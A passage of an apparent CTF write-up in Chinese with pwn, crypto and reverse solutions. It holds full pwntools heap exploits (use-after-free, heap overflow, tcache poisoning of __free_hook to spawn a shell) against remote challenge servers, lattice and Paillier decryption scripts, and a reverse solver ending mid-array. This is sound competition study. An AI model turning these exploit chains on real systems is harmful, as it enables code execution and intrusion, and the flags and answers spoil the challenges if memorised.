addr = u64(p.recvuntil('\x7f').ljust(8,'\x00')) >> 8
libc_base = addr-96-libc.sym['__malloc_hook']-0x10
print hex(addr)
add(7,0xF0)
add(8,0xF0)
add(9,0xF0)
add(10,0xF0)
free(9)
free(8)
edit(7,'b'*0xF8+p64(0x101)+p64(libc_base+libc.sym['__free_hook']))
add(11,0xF0)
edit(11,"/bin/sh\x00")
add(9,0xF0)
edit(9,p64(libc_base+libc.sym['system']))
free(11)
# gdb.attach(p)
p.interactive()
# flag{96f7801e4e658271915cf5ab3aa26ee6}
### gcc2
UAF改size构造unsortedbin,泄露libc打free_hook
# -*- coding: UTF-8 -*-
from pwn import *
context(os='linux',arch='amd64')
elf = ELF("./pwn")
libc = ELF('./libc-2.31.so')
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
loacl = 0
context.log_level = 'debug'
if loacl:
p = process("./pwn")
else:
p = remote("47.104.143.202", "15348")
def choice(cmd):
p.sendlineafter("4. Delete A Vuln\n>>",str(cmd))
def add(idx,size):
choice(1)
p.sendlineafter("I:>>",str(idx))
p.sendlineafter("S:>>",str(size))
def edit(idx,data):
choice(2)
p.sendlineafter("I:>>",str(idx))
p.sendlineafter("V:>>",data)
def show(idx):
choice(3)
p.sendlineafter("I:>>",str(idx))
def free(idx):
choice(4)
p.sendlineafter("I:>>",str(idx))
add(0,0x60)
add(1,0x60)
add(2,0x60)#0x71==0x461
add(3,0x60)#0x71
add(4,0x60)#0x71
add(5,0x60)#0x71
add(6,0x60)#0x71
add(7,0x60)#0x71
add(8,0x60)#0x71
add(9,0x60)#0x71
add(10,0x60)#0x71
add(11,0x60)#0x71
add(12,0x60)#0x71==
edit(12,"/bin/sh\x00")
free(0)
free(1)
show(1)
heap_addr = u64(p.recvuntil("\x55").ljust(8,'\x00'))>>8
print hex(heap_addr)
addr = heap_addr+0xD0
edit(1,p64(addr))
add(13,0x60)#0x71
add(14,0x60)#0x71
edit(14,p64(0)+p64(0x461))
free(2)
show(2)
addr = u64(p.recvuntil("\x7f").ljust(8,'\x00'))>>8
libc_base = addr-96-libc.sym['__malloc_hook']-0x10
print hex(libc_base)
free(4)
free(5)
edit(5,p64(libc_base+libc.sym['__free_hook']))
add(15,0x60)
add(16,0x60)
edit(16,p64(libc_base+libc.sym['system']))
free(12)
# gdb.attach(p)
p.interactive()
# flag{c9749ef8cbfdc4fc56542daea489a71c}
### bg3
size数组没有清空且edit的时候使用”+=”得到chunk的size,多次申请并释放构造堆溢出,泄露libc打free_hook.
# -*- coding: UTF-8 -*-
from pwn import *
context(os='linux',arch='amd64')
elf = ELF("./pwn")
libc = ELF('./libc-2.31.so')
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
loacl = 0
context.log_level = 'debug'
if loacl:
p = process("./pwn")
else:
p = remote("47.104.143.202", "25997")
def choice(cmd):
p.sendlineafter("4. Remove A Bug From DataBase\nSelect:",str(cmd))
def add(idx,size):
choice(1)
p.sendlineafter("Index:",str(idx))
p.sendlineafter("Length:",str(size))
def edit(idx,data):
choice(2)
p.sendlineafter("Index:",str(idx))
p.sendlineafter("Info:",data)
def show(idx):
choice(3)
p.sendlineafter("Index:",str(idx))
def free(idx):
choice(4)
p.sendlineafter("Index:",str(idx))
add(0,0x60)
add(1,0x60)#==0x460 [12]
add(2,0x60)#
add(3,0x60)
add(4,0x60)
add(5,0x60)
add(6,0x60)
add(7,0x60)
add(8,0x60)
add(9,0x60)
add(10,0x60)#==0x460
add(11,0x60)
free(0)
add(0,0x60)
edit(0,"a"*0x60+p64(0)+p64(0x461))
free(1)
add(12,0x60)
show(2)
libc_base = u64(p.recvuntil('\x7f').ljust(8,'\x00')) >> 8
libc_base = libc_base-96-libc.sym['__malloc_hook']-0x10
free(0)
add(0,0x60)
free(0)
add(0,0x60)
add(14,0x60)
add(15,0x60)
free(15)
free(14)
edit(0,"a"*0x60+p64(0)*1+p64(0x71)+p64(0)*13+p64(0x71)+p64(libc_base+libc.sym['__free_hook']))
add(14,0x60)
edit(14,"/bin/sh\x00")
add(15,0x60)
edit(15,p64(libc_base+libc.sym['system']))
free(14)
# gdb.attach(p)
p.interactive()
# flag{7240aca686aa4bc4d7697b2d7b5c7655}
### boom
数组越界，改size堆溢出泄露libc，然后改fd申请到__free_hook-0x28，申请数组改为system
#!python
#coding:utf-8
from pwn import *
import subprocess, sys, os
from time import sleep
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
elf_path = './boom_script'
ip = '47.104.143.202'
port = 41299
remote_libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
LIBC_VERSION = ''
HAS_LD = False
HAS_DEBUG = False
context(os='linux', arch='amd64')
context.log_level = 'debug'
def run(local = 1):
LD_LIBRARY_PATH = './lib/'
LD = LD_LIBRARY_PATH+'ld.so.6'
global elf
global p
if local == 1:
elf = ELF(elf_path, checksec = False)
if LIBC_VERSION:
if HAS_LD:
p = process([LD, elf_path], env={"LD_LIBRARY_PATH": LD_LIBRARY_PATH})
else:
p = process(elf_path, env={"LD_LIBRARY_PATH": LD_LIBRARY_PATH})
else:
p = process(elf_path)
else:
p = remote(ip, port)
def debug(cmdstr=''):
if HAS_DEBUG and LIBC_VERSION:
DEBUG_PATH = '/opt/patchelf/libc-'+LIBC_VERSION+'/x64/usr/lib/debug/lib/x86_64-linux-gnu/'
cmd='source /opt/patchelf/loadsym.py\n'
cmd+='loadsym '+DEBUG_PATH+'libc-'+LIBC_VERSION+'.so\n'
cmdstr=cmd+cmdstr
gdb.attach(p, cmdstr)
pause()
def loadlibc(filename = remote_libc_path):
global libc
libc = ELF(filename, checksec = False)
def one_gadget(filename = remote_libc_path):
return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))
def str2int(s, info = '', offset = 0):
if type(s) == int:
s = p.recv(s)
ret = u64(s.ljust(8, '\x00')) - offset
success('%s ==> 0x%x'%(info, ret))
return ret
def chose(idx):
sla('Chose', str(idx))
def add(idx, size, content = '\n'):
chose(1)
sla('Index', str(idx))
sla('Size', str(size))
sa('Content', content)
def edit(idx, content):
chose(2)
sla('Index', str(idx))
sa('Content', content)
def free(idx):
chose(3)
sla('Index', str(idx))
def show(idx):
chose(4)
sla('Index', str(idx))
def com(str):
global payload
payload += str + ';\n'
def add(name, size):
com('{}="{}"'.format(name, size*'a'))
run(0)
# debug('b *0x8002BEB')
payload = '''
function de {{
return 1;
}}
'''
# com('array gank1[1]')
# com('array gank2[1]')
# com('array gank3[1]')
# com('array gank4[1]')
# com('array gank5[1]')
# com('array gank6[1]')
# com('array gank7[1]')
# com('a=1')
# com('bb=1')
# com('chose=1')
# add('leak', 1)
# add('leak2', 1)
# add('leak', 0x100)
# add('leak2', 0x100)
# add('leak', 1)
# com('prints(leak)')
com('array hackarr[1]')
com('hack1="'+'a'*0x70+'"')
com('hack2="'+'a'*0x40+'"')
com('array arr[1]')
com('c="{}"'.format('a'*0x31))
com('d="456"')
com('arr[2]=49')
com('att="{}"'.format('a'*0x500))
com('p1="{}"'.format('a'*0x60))
com('p1="{}"'.format('a'*0x40))
com('p1="{}"'.format('a'*0x100))
com('p1="/bin/sh"')
com('d="{}"'.format('a'*1))
com('att="{}"'.format('a'*1))
com('e="{}"'.format('a'*0x18+'b'*8))
com('prints(e)')
com('hack2="{}"'.format('a'*0x60))
com('inputn(a)')
com('hackarr[3]=a')
com('xxx="{}"'.format('a'*0x40))
com('array final[1]')
com('inputn(a)')
com('final[0]=a')
com('p1="{}"'.format('a'*0x100))
com('de(a)')
sla('$', '1')
sla('length:\n', str(len(payload)))
sa('code:\n', payload)
# p.recvuntil('running...\n')
# heap = str2int(p.recvuntil('\n')[:-1], 'heap', 0x8077461 - 0x8077290)
p.recvuntil('b'*0x8)
loadlibc()
libc.address = str2int(6, 'libc', libc.sym['__malloc_hook']+0x70)
sleep(0.01)
p.sendline(str(libc.sym['__free_hook']-0x28))
# offset = (libc.sym['__free_hook'] - 0x28 - heap)
# for i in range(7):
# if (offset+i*0x50)%0x38 == 0:
# a = (offset+i*0x50)/0x38
# b = libc.sym['system']
# cc = i+1
# break
# sleep(0.01)
# p.sendline(str(a))
# sleep(0.01)
# p.sendline(str(b))
# sleep(0.01)
# p.sendline(str(cc))
sleep(0.01)
p.sendline(str(libc.sym['system']))
p.interactive()
## Crypto
### The_RSA
common d。算一下界，要6组就可以构造一个格解d了
from Crypto.Util.number import *
from pwn import *
import itertools as its
import string
from hashlib import sha256
ip, port = '47.104.183.8', 58462
# context.log_level = 'debug'
io = remote(ip, port)
io.recvuntil(b'XXXX+')
s = io.recvuntil(b') == ')[:-5]
hc = io.recvuntil(b'\n').strip().decode()
io.recvuntil(b' XXXX :')
words = string.ascii_letters + string.digits
r = its.product(words, repeat=4)
for i in r:
h = sha256((''.join(i).encode() + s)).hexdigest()
if h == hc:
io.sendline(''.join(i).encode())
break
N = []
E = []
C = []
for i in range(6):
io.recvuntil(b'hat do you want to do?\n')
io.sendline(b'1')
e, n, c = eval(io.recvuntil(b'\n').decode().strip()[3:])
N.append(n)
E.append(e)
C.append(c)
io.sendline(b'2')
delta = 435./1024
M = int(sqrt(N[5]))
B = Matrix(ZZ, [ [M, E[0], E[1], E[2], E[3], E[4], E[5]],
[0, -N[0], 0, 0, 0, 0, 0],
[0, 0, -N[1], 0, 0, 0, 0],
[0, 0, 0, -N[2], 0, 0, 0],
[0, 0, 0, 0, -N[3], 0, 0],
[0, 0, 0, 0, 0, -N[4], 0],
[0, 0, 0, 0, 0, 0, -N[5]]])
L = B.LLL()
d = int(L[0][0] / M)
print(d)
for i in range(6):
print(long_to_bytes(pow(C[i], d, N[i])))
### block cipher
发现规律 密文差分是明文差分二倍。
选择明文攻击 ez
传一次48字节明文，收到一个密文，再拿一次flag密文
计算flag密文和已知密文差分，除以2，和已知明文异或 就是flag
### fermat’s revenge
hintp\equiv 1011^qq\ mod\ n\
q\equiv 1011^qqhint^{-1}\ mod n\
1011^qhint^{-1}= 1+ kp\
费马小定理得,(1011^{p-1}-kp)(1011^qhint^{-1})=tp\
(1011^{n-1}hint^{-1})\%(n-1)=kp
gcd即可
### CryptoSystem
hint部分用sage求s，再用费马小定理分解n得到p
from Crypto.Util.number import inverse, long_to_bytes
p = 11704602934176759298266213423114891493824916364795978469364524885399760428906015479407230137777563251525502066790836884862088509654031834827866112229646287
q = 8102629067081196663344380051036364913486884958511293329215799851980156535639525773862943502278622329075523611986041747264662648303657273142937759092732383
N = p * q
param = (94838055953104472310020336849161906597270875083875935416005298095630163598779959260413267847713143964237534199642297293652763137312313661870292629408730403218471443807586408082416986269585654162055563577353421655366755587333747937935478818301644202126262621687419423878277111644527700593904018451376440611921, 8222220570332735331949763152648643878282797014372489167249681610732943758559638292763163612903100016043213373570246365367819395127227607081784918414517609326236531013392638264924887790191415928816964434122789390222670507904271026857201091641296283721697112493387765424655204734684772094363463488547209898317618020210347466934206863781079250288263237602677774540340474214135433352664684289611895081372394132170101657166399519419319057509388402930386023764745405611423456734910055143884558701621843650647393051425844754545495930833842659454191685794067914903168454978809697068321562570292853621020380904691313994605614)
pk_list = [3564554126020601767122284155272940244115500916016690385720248412732293807827407623646169394942033115971886678929792807813266464390660211985312997812329515691706163088814597082151349321353465507174614151445441969371190953327690535213134464187643911325170125446717958555985134293439626833239300029345162925717978071151676511527322942774720259645694753534050935244653861171239044020817096899676384226961132345628523865720523833528694212362621440726964630421257765523134808293386374936416895389512896809663386643328753578557272723069570535659506162276122557173102614609443356563987630989432500797285594919664338771725548, 51949631032466677884668777990481020678624011707837057355490471112729702272480832691255853566519006825061781532550206121975328286788036668106961747512051795567692299712109597841475700846356050296497291275039000765449499726500039624258560686675685497565524045405208520158368584743775151242037524141494259080758524153656665822512005270418521352058653437680515077881459829836376524927212130651643653069458193875067760192379047708213297086044860106167886934476995436190533245156835175098152649119356965433166238098375648549763912220138594204326046368469923059016088650753552409534212180668073391353579591467415787490149, 7986362162025905689231646843334955186263434112251956149464261793941501933787501290327864521855021682488811066081880924979479476227828398154818993276184432317646528325274723812812157654126066449698234094317343864756583199062105112858625759329850627679835473484861288614076796400075479845418499958800738440381114671922155276790365493080496734023502844556676823283705667259707410938168389976063614068996886044918020087684059481349150957896660913638014994456400081162044754080463653541838895680936763809711998377500016788713084589760458829219553832790437896361321347126225712699163293119653230062051692305584870448136781, 5509215895469694413348792868619651606298725002151671067953611964180811460996395169086607883812267265330756971374354016051661555614907459670730827391377556955419648506942552769668103752188785264563836719708904562565395760871051871503662833918521645609484375521558246117207684064040280887682094573323668742331437806345757112769325888710104679453602928017179026121413614201055360020689986219186478012498427895992471540694275566824503335098369079778528444671655093810291648410623186225087794871022199736965535212998572558375484552077908177813824038350860742907421950961985127384482416814578227658638416785748962245352439, 8496539211519908291270238891814138985850458858448358176258096335494263978565038410645728760545519239258839788622699527580123928735756947867908186216355019036081461698526439932842895772667215815571161769376330300506786557148418617625613356337520209443577663597144819464591231136429789085020820633516461255085342249140282172605131301349438939914194791529515027683769376169944474544341419673871048137199438363027021539465707255176263391073672475085240925242765398549550846051893117654286203093128819952079205390072682068591722110732509800859194325896617059125401089781447015715505398175009798381976557063365858810742142, 3119521321597798116564410527295891208645456104060100910111522194458734425455591287735172248550909361509594435828980202549592100379040319465629415595273252574892211076833978936222563685826278814956395123225345328104185454548941642244945706562341832270981273594299024984702484297185231135774151499320150517647084638177642234122468778443225112500830045691341257387684698969412693394273985986695854974792963826574899053511454361023453085928676328028619308765823192567800541796687870557788801872908098337374005435236061927994485526068927129418361391784831965701811151290780330859535341501860848477927126740856918456827291]
flag = [(1895110770974995776327537266248645419592814983548926525437013518755346649444208974302394383159320186478586984380460834297376738215275196908233459414481279510660434502430584946210015761116096559993138033422232322205417089713715792462148266154681511980963196925272212322451769279858886519718456825642066511529164347278255378844543664848230789360929037676499703295348322396452663567275796483693389548472754318913963185293878328106568590355987410084594983497641544456926403558798930063249463637161594034131199943263851641833765484819686520866681950162068025598423696701886851742204509988002349788546319112034075714312163, 8348350425773992988408167765217389425274192139844001852066738270973295915297143283242462996481508118979253393755742191573847006962006274688581781912437955445592262306425613723348411357321599513125881947346990562543878420352203105340933434809655405928444870086324601412608914319751495984719849933372727094414306779574276837370714046686861111546936020579823910332640232854894180523132020562537521197208021210983039338276655307580027934011561533302322216926852401079374537918217126655560305488588948296068120485570362089570563838759123676837800286896529658149159800187475878092705018821811351554640010191745115198926729), (6547809729172062304392126567614144868617944394732518155378084330520068508944823016924954658050454785198615021551772182688199414233011285480747763346302773917450781361120304381787257876610018297816639792744296674246887548754910409019518666210650367859779742855094676737197174544665173860717946678840016688436725882025615620073152140353058810737281150704650761914946976776704231686913452688276252021445545896237250980890065511268183838487390628912637968844991376592402406772430984032171990745811658293576445197144511626491585084413059744980471426546094287632039346409112057840983875817148858666952294956181250461856727, 539528453684836200118955530842589018546029088855716355156500219259690558396330164491918715822444227634675506487994034492800817469832277488578430854174557192595864956557206606826654857835787752369409754557744246335095899973249207055361021399515390376583628070615936281523211356529036166106830676433869682725700717254113750652538046466452260462276415675855317604867243005909900738067651581774120505766957586567542946870640123744588141161010436594403199427052069196656642284825947561364959628812322048378996891488397757980262208271379463477516167028150986793395137095016611002570558674441426374196667515380651984957729), (4869650850425919416572388145326425772638525050861630686643744949656592837549732864690684532415944148101547995272030012523064173428838619508457101402008366457798078556087381468237471902355558394382673722165234880942860179254786165620321427855692724609011739978918256781054578291077961004857146604484714444009523337298690950898549947332439108558434716919454113930269728302628959956631536980830855034437738402400353541776986351148604387691003875703722316937115796400515194605182859646636553735257268146588183361484214839579049722298047072153673443940251998151806354993805797713908029260083838662190617946860551089298943, 7477912295493345893183371250351610156892382750787286524460920943843540549340840785530351906205032267138458823248478655539200869235599834519743117327403731292040268105667149767785329069038244007226784238949734318572364133991058911852783555638852122803877599718608864354211231599109981059447732806535526300211343793104419468619374147853501937286506933491095693771742551510050426543066196576641064623792290518495855220209878655263131455722688600983849900083086004273403349497620372901607922066236440188529960719856024629999714297911192436570687641866490877509997699025253825619385472786733515782407425030437357666752735), (6464727516232552647517501061506933116555314308990921079953837751993642815052207769221099037180506306354359193985109287613843001577101441890246251292357057194252327332285029147137878590311575121375567217071958285290048665289406183977993059776333416404803071125093208575240141621690783046975148663035653967462158779605726760538781734904023609304894799127796425513959758085675576028049993611506807479802949052140092824593347849096382560033934201868677224529604199285187373552841491661731380398866783748630346038796305091917446725093553002844414148870721532404063380447115114632155714121547435395217163756132790416742671, 6850411664195376422025015206118711455689423960379448891788100075660460492264704602269805771393450722446242159327697560772085476860414884516935965530040190362623796801001778234596616473797593170296144184102247592973716496801111195165570133022077886576708739395218886915952502308693203274582997039256664260473505597761567811949858685818888942390299572811059785582141812901034732844688946029036549256354513607106473086010207691771969649836726655229055635019906651333628738473554556488660520478529649528373696986915219562143713043132611075675187178303726985191698014439680680044186462534712096396621223123585558459420608), (6534301014881654707404673876996948839322179804775776198166402518439867813315601790257627516981360792935422027690182974155688806158814828361838521557393132633842885393287083618132390820890550229370087175513804335167215277291646001454117359341327904799219955402894753620724890162571483666292356287731882060888796217553234455417347076014235929438071226485172187184889899875554490425650927577044520045498565491252242739066380153010758764773480636245956149958887681546111115432766828253376921942485117934974672598288151203182541748236665991282944739910595822585505403340465327236160529875561469600273400146032402620778254, 6742462105379692268051835178142047339172529427092119397881803064555921035237781884806727179281323359877963929066017083219523421113234461320428533584688996704275467594541285196512716180625961796315949820908869133790341068665993009154482389241267593244194078836311538380821273504497492996050216549058275732250459768518903549747081450622345060004943485543622323398418505307471458822571948009393008762637305373255750791849250707727735049422531168722372589013783569345380063173149712893149166326061044252126030213920719005474090812886717033703158392986098353386773348092068175880145897600731191143690605750357983433719183), (5990426986098997970818954794603039707504702739722710528441777553622267718742652468716180586265258522973226385541495202947655385191365447432432365094500178009123156691485339968328350333436219311394416230126804951925419830936501110064157997300077429763250083534219761864352597543538198282085471343174927688785494653435499436489275447194656682111521588793398673638067458780511219243399664020715331659228079042025365658003388653304544672647819094163881890397380413581251822121267344979474727881550899581702181772564406911776258773790201004654312336810609038653018905795882079795983978327976054984690490535815381455614257, 8823069339108363748726506971270735400841974924478629831426013975943540746347985519621759355136707318375847077087399141582390004491705082509496101218047679222287289789004545273051737545951071318937120089046135323108334989581340149384250404798117270903737280395538472871233806086323332049381128843913329095059069394096764788511394035193484935857735625769677601168795441300651978953981363233155266673928086194838316342484379551057381607920958594926026280971672115801001160385935285506024128335995610854601196074878804310703463050175734399540885788308476474930479920409797535094302009070658075556086735218614785836017758)]
g = param[1]
p0 = (p - 1) // 2
q0 = (q - 1) // 2
k = (pow(g, p0*q0, N**2) -1) // N
out = b''
msg = [123,456,789,123,456,789]
for i in range(6):
r0 = (((pow(flag[i][0], p0*q0, N**2) - 1) * inverse(k, N**2)) % (N**2)) // N
a0 = (((pow(pk_list[i], p0*q0, N**2) - 1) * inverse(k, N**2)) % (N**2)) // N
m = ((pow(flag[i][1], p0*q0, N**2) -1) // N - k*a0*r0) * inverse(p0*q0, N) % N
out += long_to_bytes(m - msg[i])
print(out)
## Reverse
### Hello
主要逻辑在so
先是将输入异或（签名的值 + i）
之后高三位和低五位互换位置
最后比较，通过动调获取sign值，写exp
#include <stdio.h>
int main()
{
int i, j;
unsigned char sign[] =
{
0x33, 0x30, 0x38, 0x32, 0x30, 0x32, 0x65, 0x34, 0x33, 0x30,
0x38, 0x32, 0x30, 0x31, 0x63, 0x63, 0x30, 0x32, 0x30, 0x31,
0x30, 0x31, 0x33, 0x30, 0x30, 0x64, 0x30, 0x36, 0x30, 0x39,
0x32, 0x61, 0x38, 0x36, 0x34, 0x38, 0x38, 0x36, 0x66, 0x37,
0x30, 0x64, 0x30, 0x31, 0x30, 0x31, 0x30, 0x35, 0x30, 0x35,
0x30, 0x30, 0x33, 0x30, 0x33, 0x37, 0x33, 0x31, 0x31, 0x36,
0x33, 0x30, 0x31, 0x34, 0x30, 0x36, 0x30, 0x33, 0x35, 0x35,
0x30, 0x34, 0x30, 0x33, 0x30, 0x63, 0x30, 0x64, 0x34, 0x31,
0x36, 0x65, 0x36, 0x34, 0x37, 0x32, 0x36, 0x66, 0x36, 0x39,
0x36, 0x34, 0x32, 0x30, 0x34, 0x34, 0x36, 0x35, 0x36, 0x32,
0x37, 0x35, 0x36, 0x37, 0x33, 0x31, 0x31, 0x30, 0x33, 0x30,
0x30, 0x65, 0x30, 0x36, 0x30, 0x33, 0x35, 0x35, 0x30, 0x34,
0x30, 0x61, 0x30, 0x63, 0x30, 0x37, 0x34, 0x31, 0x36, 0x65,
0x36, 0x34, 0x37, 0x32, 0x36, 0x66, 0x36, 0x39, 0x36, 0x34,
0x33, 0x31, 0x30, 0x62, 0x33, 0x30, 0x30, 0x39, 0x30, 0x36,
0x30, 0x33, 0x35, 0x35, 0x30, 0x34, 0x30, 0x36, 0x31, 0x33,
0x30, 0x32, 0x35, 0x35, 0x35, 0x33, 0x33, 0x30, 0x32, 0x30,
0x31, 0x37, 0x30, 0x64, 0x33, 0x32, 0x33, 0x31, 0x33, 0x30,
0x33, 0x33, 0x33, 0x30, 0x33, 0x36, 0x33, 0x31, 0x33, 0x34,
0x33, 0x33, 0x33, 0x30, 0x33, 0x34, 0x33, 0x38, 0x35, 0x61,
0x31, 0x38, 0x30, 0x66, 0x33, 0x32, 0x33, 0x30, 0x33, 0x35,
0x33, 0x31, 0x33, 0x30, 0x33, 0x32, 0x33, 0x32, 0x33, 0x37,
0x33, 0x31, 0x33, 0x34, 0x33, 0x33, 0x33, 0x30, 0x33, 0x34,
0x33, 0x38, 0x35, 0x61, 0x33, 0x30, 0x33, 0x37, 0x33, 0x31,
0x31, 0x36, 0x33, 0x30, 0x31, 0x34, 0x30, 0x36, 0x30, 0x33,
0x35, 0x35, 0x30, 0x34, 0x30, 0x33, 0x30, 0x63, 0x30, 0x64,
0x34, 0x31, 0x36, 0x65, 0x36, 0x34, 0x37, 0x32, 0x36, 0x66,
0x36, 0x39, 0x36, 0x34, 0x32, 0x30, 0x34, 0x34, 0x36, 0x35,
0x36, 0x32, 0x37, 0x35, 0x36, 0x37, 0x33, 0x31, 0x31, 0x30,
0x33, 0x30, 0x30, 0x65, 0x30, 0x36, 0x30, 0x33, 0x35, 0x35,
0x30, 0x34, 0x30, 0x61, 0x30, 0x63, 0x30, 0x37, 0x34, 0x31,
0x36, 0x65, 0x36, 0x34, 0x37, 0x32, 0x36, 0x66, 0x36, 0x39,
0x36, 0x34, 0x33, 0x31, 0x30, 0x62, 0x33, 0x30, 0x30, 0x39,
0x30, 0x36, 0x30, 0x33, 0x35, 0x35, 0x30, 0x34, 0x30, 0x36,
0x31, 0x33, 0x30, 0x32, 0x35, 0x35, 0x35, 0x33, 0x33, 0x30,
0x38, 0x32, 0x30, 0x31, 0x32, 0x32, 0x33, 0x30, 0x30, 0x64,
0x30, 0x36, 0x30, 0x39, 0x32, 0x61, 0x38, 0x36, 0x34, 0x38,
0x38, 0x36, 0x66, 0x37, 0x30, 0x64, 0x30, 0x31, 0x30, 0x31,
0x30, 0x31, 0x30, 0x35, 0x30, 0x30, 0x30, 0x33, 0x38, 0x32,
0x30, 0x31, 0x30, 0x66, 0x30, 0x30, 0x33, 0x30, 0x38, 0x32,
0x30, 0x31, 0x30, 0x61, 0x30, 0x32, 0x38, 0x32, 0x30, 0x31,
0x30, 0x31, 0x30, 0x30, 0x63, 0x62, 0x66, 0x32, 0x62, 0x30,
0x39, 0x65, 0x34, 0x33, 0x30, 0x38, 0x65, 0x62, 0x62, 0x34,
0x35, 0x39, 0x65, 0x38, 0x38, 0x34, 0x31, 0x65, 0x35, 0x61,
0x37, 0x62, 0x39, 0x32, 0x30, 0x34, 0x39, 0x37, 0x66, 0x65,
0x66, 0x32, 0x62, 0x33, 0x34, 0x39, 0x65, 0x38, 0x30, 0x36,
0x34, 0x38, 0x66, 0x37, 0x65, 0x62, 0x33, 0x35, 0x66, 0x34,
0x38, 0x64, 0x34, 0x30, 0x61, 0x37, 0x35, 0x65, 0x37, 0x63,
0x65, 0x37, 0x39, 0x34, 0x35, 0x62, 0x38, 0x62, 0x34, 0x32,
0x64, 0x31, 0x39, 0x37, 0x62, 0x65, 0x63, 0x30, 0x62, 0x66,
0x31, 0x37, 0x37, 0x65, 0x36, 0x63, 0x39, 0x38, 0x39, 0x39,
0x65, 0x64, 0x37, 0x30, 0x37, 0x64, 0x63, 0x63, 0x34, 0x61,
0x37, 0x32, 0x36, 0x63, 0x62, 0x31, 0x34, 0x63, 0x31, 0x61,
0x36, 0x39, 0x62, 0x30, 0x63, 0x34, 0x61, 0x30, 0x32, 0x34,
0x37, 0x34, 0x38, 0x30, 0x36, 0x66, 0x61, 0x37, 0x33, 0x63,
0x66, 0x62, 0x31, 0x30, 0x65, 0x31, 0x30, 0x66, 0x37, 0x62,
0x31, 0x36, 0x36, 0x35, 0x30, 0x32, 0x31, 0x63, 0x32, 0x34,
0x37, 0x36, 0x32, 0x62, 0x36, 0x65, 0x64, 0x61, 0x64, 0x36,
0x35, 0x63, 0x61, 0x36, 0x33, 0x63, 0x65, 0x61, 0x33, 0x63,
0x37, 0x32, 0x65, 0x30, 0x64, 0x34, 0x65, 0x34, 0x63, 0x61,
0x33, 0x66, 0x39, 0x38, 0x33, 0x30, 0x31, 0x31, 0x37, 0x33,
0x65, 0x65, 0x63, 0x33, 0x32, 0x35, 0x34, 0x33, 0x33, 0x37,
0x61, 0x66, 0x31, 0x66, 0x35, 0x61, 0x31, 0x31, 0x66, 0x37,
0x37, 0x39, 0x65, 0x63, 0x62, 0x65, 0x30, 0x34, 0x64, 0x31,
0x62, 0x37, 0x34, 0x64, 0x35, 0x33, 0x66, 0x35, 0x38, 0x33,
0x35, 0x65, 0x30, 0x31, 0x31, 0x32, 0x32, 0x32, 0x31, 0x35,
0x35, 0x61, 0x35, 0x36, 0x66, 0x39, 0x37, 0x65, 0x30, 0x30,
0x64, 0x37, 0x35, 0x33, 0x37, 0x34, 0x63, 0x64, 0x39, 0x33,
0x30, 0x38, 0x30, 0x64, 0x66, 0x61, 0x30, 0x38, 0x37, 0x63,
0x64, 0x33, 0x35, 0x36, 0x61, 0x39, 0x39, 0x66, 0x65, 0x31,
0x65, 0x65, 0x62, 0x66, 0x35, 0x64, 0x36, 0x64, 0x35, 0x65,
0x33, 0x31, 0x38, 0x34, 0x36, 0x61, 0x61, 0x64, 0x35, 0x32,
0x35, 0x32, 0x63, 0x33, 0x61, 0x31, 0x37, 0x61, 0x34, 0x36,
0x35, 0x36, 0x65, 0x32, 0x65, 0x32, 0x31, 0x30, 0x63, 0x65,
0x31, 0x63, 0x37, 0x61, 0x61, 0x34, 0x64, 0x31, 0x34, 0x37,
0x66, 0x62, 0x38, 0x63, 0x66, 0x34, 0x34, 0x30, 0x61, 0x35,
0x30, 0x61, 0x64, 0x64, 0x36, 0x31, 0x62, 0x62, 0x62, 0x32,
0x65, 0x63, 0x32, 0x39, 0x39, 0x61, 0x32, 0x65, 0x30, 0x64,
0x61, 0x62, 0x30, 0x62, 0x34, 0x35, 0x30, 0x34, 0x37, 0x39,
0x36, 0x61, 0x63, 0x33, 0x61, 0x38, 0x39, 0x39, 0x64, 0x61,
0x35, 0x35, 0x33, 0x61, 0x62, 0x31, 0x64, 0x38, 0x33, 0x35,
0x37, 0x36, 0x36, 0x39, 0x31, 0x61, 0x62, 0x32, 0x33, 0x34,
0x30, 0x39, 0x64, 0x31, 0x38, 0x33, 0x39, 0x38, 0x30, 0x31,
0x34, 0x62, 0x33, 0x62, 0x35, 0x65, 0x61, 0x66, 0x31, 0x32,
0x65, 0x38, 0x33, 0x66, 0x34, 0x64, 0x39, 0x39, 0x61, 0x61,
0x30, 0x39, 0x65, 0x31, 0x65, 0x34, 0x65, 0x34, 0x63, 0x61,
0x65, 0x31, 0x33, 0x33, 0x35, 0x33, 0x30, 0x37, 0x33, 0x30,
0x63, 0x31, 0x31, 0x33, 0x33, 0x64, 0x61, 0x32, 0x62, 0x33,
0x64, 0x65, 0x65, 0x33, 0x37, 0x62, 0x35, 0x38, 0x65, 0x62,
0x31, 0x61, 0x35, 0x37, 0x39, 0x35, 0x62, 0x32, 0x32, 0x31,
0x65, 0x63, 0x35, 0x61, 0x38, 0x38, 0x33, 0x30, 0x37, 0x33,
0x31, 0x61, 0x34, 0x31, 0x31, 0x36, 0x37, 0x64, 0x32, 0x39,
0x35, 0x66, 0x39, 0x65, 0x31, 0x62, 0x30, 0x32, 0x30, 0x33,
0x30, 0x31, 0x30, 0x30, 0x30, 0x31, 0x33, 0x30, 0x30, 0x64,
0x30, 0x36, 0x30, 0x39, 0x32, 0x61, 0x38, 0x36, 0x34, 0x38,
0x38, 0x36, 0x66, 0x37, 0x30, 0x64, 0x30, 0x31, 0x30, 0x31,
0x30, 0x35, 0x30, 0x35, 0x30, 0x30, 0x30, 0x33, 0x38, 0x32,
0x30, 0x31, 0x30, 0x31, 0x30, 0x30, 0x30, 0x65, 0x34, 0x37,
0x34, 0x30, 0x32, 0x33, 0x35, 0x65, 0x39, 0x63, 0x66, 0x32,
0x62, 0x65, 0x33, 0x33, 0x64, 0x65, 0x33, 0x65, 0x30, 0x36,
0x64, 0x37, 0x37, 0x37, 0x31, 0x33, 0x39, 0x63, 0x62, 0x62,
0x63, 0x35, 0x63, 0x66, 0x30, 0x36, 0x32, 0x32, 0x32, 0x38,
0x35, 0x63, 0x31, 0x37, 0x64, 0x61, 0x30, 0x34, 0x36, 0x39,
0x37, 0x62, 0x38, 0x30, 0x36, 0x37, 0x33, 0x31, 0x38, 0x61,
0x61, 0x66, 0x38, 0x64, 0x66, 0x30, 0x66, 0x62, 0x62, 0x34,
